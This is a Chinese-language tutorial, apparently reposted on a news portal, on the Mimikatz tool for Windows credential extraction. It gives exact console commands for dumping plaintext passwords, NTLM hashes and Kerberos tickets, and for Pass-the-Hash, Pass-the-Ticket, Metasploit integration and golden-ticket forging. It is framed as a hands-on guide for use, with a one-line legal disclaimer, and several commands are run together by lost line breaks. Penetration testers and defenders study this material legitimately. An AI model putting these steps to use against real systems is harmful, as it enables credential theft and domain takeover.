打开网易新闻 查看更多图片

Mimikatz:强大的密码抓取和内存凭证提取工具

Mimikatz 是一款著名的开源工具,广泛用于渗透测试和红队操作中。它主要用于从Windows系统中提取凭证、密码哈希以及执行各种安全测试操作。本文将详细介绍Mimikatz的功能、安装和使用过程,让你能够充分利用这款强大的工具。

什么是Mimikatz?

Mimikatz 是由Benjamin Delpy开发的开源工具,功能强大,能够从Windows系统中提取明文密码、Kerberos票据、密码哈希等敏感信息。Mimikatz不仅在渗透测试中广泛应用,也是安全研究和防御的重要参考工具。

Mimikatz的主要特点

  1. 提取明文密码:从系统内存中提取明文密码。
  2. 提取哈希值:提取NTLM和Kerberos哈希值,用于后续攻击。
  3. 操作票据:创建、导入和导出Kerberos票据,进行票据传递攻击(Pass-the-Ticket)。
  4. 凭证转储:转储LSA秘密、SAM数据库等敏感信息。
  5. 各种攻击组合:支持Pass-the-Hash、Pass-the-Ticket、Overpass-the-Hash等攻击技术。
  6. 广泛兼容性:支持多种Windows版本,从Windows XP到最新的Windows 10。

安装Mimikatz

步骤 1:下载Mimikatz

Mimikatz可以从其GitHub仓库下载。访问Mimikatz GitHub页面并下载最新的发行版本。

git clone https://github.com/gentilkiwi/mimikatz.git或者直接下载预编译的二进制文件。

步骤 2:编译Mimikatz(可选)

如果你选择下载源码并自行编译,可以使用以下命令:

cd mimikatz/mimikatzmake

步骤 3:准备环境

确保你的系统上安装了Visual Studio或其他必要的编译工具,这样可以顺利编译Mimikatz。

使用Mimikatz进行密码抓取

接下来,我们将通过几个详细的示例展示如何使用Mimikatz进行密码抓取和凭证提取。

示例:提取明文密码

步骤 1:运行Mimikatz

打开命令行窗口,导航到Mimikatz目录,然后运行Mimikatz:

mimikatz.exe

步骤 2:启用调试权限

在Mimikatz控制台中输入以下命令,启用调试权限:

privilege::debug

步骤 3:提取明文密码

使用以下命令从系统中提取明文密码:

sekurlsa::logonpasswordsMimikatz

将列出当前系统中所有登录用户的明文密码、哈希值和其他凭证信息。

示例:提取NTLM和Kerberos哈希

步骤 1:提取NTLM哈希

在Mimikatz控制台中输入以下命令,提取NTLM哈希:

lsadump::samMimikatz将显示系统中所有用户的NTLM哈希。

步骤 2:提取Kerberos票据

使用以下命令提取Kerberos票据:

sekurlsa::ticketsMimikatz将列出所有已缓存的Kerberos票据。

示例:执行Pass-the-Hash攻击

步骤 1:使用NTLM哈希进行身份验证

假设你已经捕获到一个用户的NTLM哈希,可以使用以下命令进行Pass-the-Hash攻击:

sekurlsa::pth /user:Administrator /domain:MYDOMAIN /ntlm:HASH_VALUE /run:cmd.exe将HASH_VALUE替换为实际的NTLM哈希值。Mimikatz将启动一个新的命令行窗口,其中具有目标用户的身份。

示例:执行Pass-the-Ticket攻击

步骤 1:导出Kerberos票据

在Mimikatz控制台中输入以下命令,导出一个Kerberos票据:

kerberos::list /exportMimikatz将导出所有Kerberos票据并保存到当前目录。

步骤 2:导入Kerberos票据

在目标系统中运行Mimikatz,并使用以下命令导入票据:

kerberos::ptt TICKET_FILENAME将TICKET_FILENAME替换为实际的票据文件名。Mimikatz将导入票据,并允许你以票据持有者的身份进行操作。

Mimikatz的高级使用

集成Mimikatz与Metasploit

Mimikatz可以与Metasploit框架集成,进行更加复杂和全面的攻击。

步骤 1:在Metasploit中加载Mimikatz

在Metasploit控制台中,使用以下命令加载Mimikatz:

use post/windows/gather/credentials/mimikatz

步骤 2:配置目标

设置目标系统的相关参数,例如会话ID:

set SESSION 1

步骤 3:执行Mimikatz模块

使用以下命令执行Mimikatz模块:

runMetasploit将自动运行Mimikatz并捕获目标系统中的凭证信息。

使用Mimikatz进行黄金票据攻击

黄金票据攻击(Golden Ticket Attack)是一种高级的Kerberos攻击技术,使用伪造的TGT(Ticket Granting Ticket)访问系统资源。

步骤 1:获取域名、SID和KRBTGT哈希

在域控制器上运行Mimikatz,获取域名、域SID和KRBTGT用户的NTLM哈希:

privilege::debuglsadump::lsa /inject /name:krbtgtdomain::sid

步骤 2:生成黄金票据

使用以下命令生成黄金票据:kerberos::golden /user:Administrator /domain:mydomain.com /sid:S-1-5-21-XXXXXXXXXX-XXXXXXXXXX-XXXXXXXXXX /krbtgt:KRBTGT_HASH /id:500
将相关参数替换为实际值。Mimikatz将生成一个黄金票据。

步骤 3:导入黄金票据

使用以下命令导入黄金票据:

kerberos::ptt golden.kirbi此时,你可以以目标用户的身份访问域内资源。

结语

Mimikatz凭借其强大的密码抓取和内存凭证提取功能,成为了渗透测试和红队行动的重要工具。通过本文的详细介绍,你应该已经了解了如何安装和使用Mimikatz进行密码抓取和凭证提取。无论你是安全研究员、渗透测试员,还是红队成员,掌握Mimikatz的使用技巧都将极大提升你的网络安全能力。赶快在你的渗透测试中试试Mimikatz吧!

本文仅作技术分享 切勿用于非法途径